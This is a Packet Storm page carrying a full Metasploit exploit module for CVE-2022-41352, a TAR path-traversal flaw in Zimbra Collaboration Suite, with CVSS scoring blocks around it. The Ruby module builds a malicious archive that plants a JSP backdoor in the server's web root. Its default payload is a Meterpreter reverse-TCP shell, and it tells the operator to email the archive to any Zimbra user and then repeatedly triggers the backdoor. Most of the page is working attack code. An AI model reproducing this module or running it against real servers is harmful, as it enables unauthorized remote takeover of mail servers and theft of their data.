Lucene search

K
packetstormRon Bowes, Alexander Cherepanov, yeak, metasploit.comPACKETSTORM:169458
HistoryOct 20, 2022 - 12:00 a.m.

Zimbra Collaboration Suite TAR Path Traversal

2022-10-2000:00:00
Ron Bowes, Alexander Cherepanov, yeak, metasploit.com
packetstormsecurity.com
190

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

1.9 Low

CVSS2

Access Vector

LOCAL

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:L/AC:M/Au:N/C:N/I:P/A:N

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'TAR Path Traversal in Zimbra (CVE-2022-41352)',  
'Description' => %q{  
This module creates a .tar file that can be emailed to a Zimbra server  
to exploit CVE-2022-41352. If successful, it plants a JSP-based  
backdoor in the public web directory, then executes that backdoor.  
  
The core vulnerability is a path-traversal issue in the cpio command-  
line utlity that can extract an arbitrary file to an arbitrary  
location on a Linux system (CVE-2015-1197). Most Linux distros have  
chosen not to fix it.  
  
This issue is exploitable on Red Hat-based systems (and other hosts  
without pax installed) running versions:  
  
* Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)  
* Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)  
  
The patch simply makes "pax" a pre-requisite.  
},  
'Author' => [  
'Alexander Cherepanov', # PoC (in 2015)  
'yeak', # Initial report  
'Ron Bowes', # Analysis, PoC, and module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-41352'],  
['URL', 'https://forums.zimbra.org/viewtopic.php?t=71153&p=306532'],  
['URL', 'https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/'],  
['URL', 'https://www.openwall.com/lists/oss-security/2015/01/18/7'],  
['URL', 'https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html'],  
['URL', 'https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis'],  
['URL', 'https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34'],  
],  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[ 'Zimbra Collaboration Suite', {} ]  
],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'TARGET_PATH' => '/opt/zimbra/jetty_base/webapps/zimbra/',  
'TARGET_FILENAME' => nil,  
'DisablePayloadHandler' => false,  
'RPORT' => 443,  
'SSL' => true  
},  
'Stance' => Msf::Exploit::Stance::Passive,  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => '2022-06-28',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'payload.tar']),  
  
# Separating the path, filename, and extension allows us to randomize the filename  
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).']),  
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: public/<random>.jsp).']),  
]  
)  
  
register_advanced_options(  
[  
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (default: random)']),  
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),  
  
# Took this from multi/handler  
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),  
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])  
]  
)  
end  
  
def exploit  
print_status('Encoding the payload as .jsp')  
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)  
  
# Small sanity-check  
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')  
print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')  
end  
  
# Generate a filename if needed  
target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp"  
symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10)  
  
# Sanity check - the file shouldn't exist, but we should be able to do requests to the server  
if datastore['TRIGGER_PAYLOAD']  
print_status('Checking the HTTP connection to the target')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_filename)  
)  
  
unless res  
fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')  
end  
  
# Break when the file successfully appears  
unless res.code == 404  
fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")  
end  
end  
  
# Create the file  
begin  
contents = StringIO.new  
Rex::Tar::Writer.new(contents) do |t|  
print_status("Adding symlink to path to .tar file: #{datastore['TARGET_PATH']}")  
t.add_symlink(symlink_filename, datastore['TARGET_PATH'], 0o755)  
  
print_status("Adding target file to the archive: #{target_filename}")  
  
t.add_file(File.join(symlink_filename, target_filename), 0o644) do |f|  
f.write(payload)  
end  
end  
contents.seek(0)  
tar = contents.read  
contents.close  
rescue StandardError => e  
fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}")  
end  
file_create(tar)  
  
print_good('File created! Email the file above to any user on the target Zimbra server')  
  
# Bail if they don't want the payload triggered  
return unless datastore['TRIGGER_PAYLOAD']  
  
register_file_for_cleanup(File.join(datastore['TARGET_PATH'], target_filename))  
  
interval = datastore['CheckInterval'].to_i  
print_status("Trying to trigger the backdoor @ #{target_filename} every #{interval}s [backgrounding]...")  
  
# This loop is mostly from `multi/handler`  
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i  
timeout = datastore['ListenerTimeout'].to_i  
loop do  
break if session_created?  
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_filename)  
)  
  
unless res  
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')  
end  
  
# Break when the file successfully appears  
if res.code == 200  
print_good('Successfully triggered the payload')  
# This should break when we get to session_created?  
end  
  
Rex::ThreadSafe.sleep(interval)  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

1.9 Low

CVSS2

Access Vector

LOCAL

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:L/AC:M/Au:N/C:N/I:P/A:N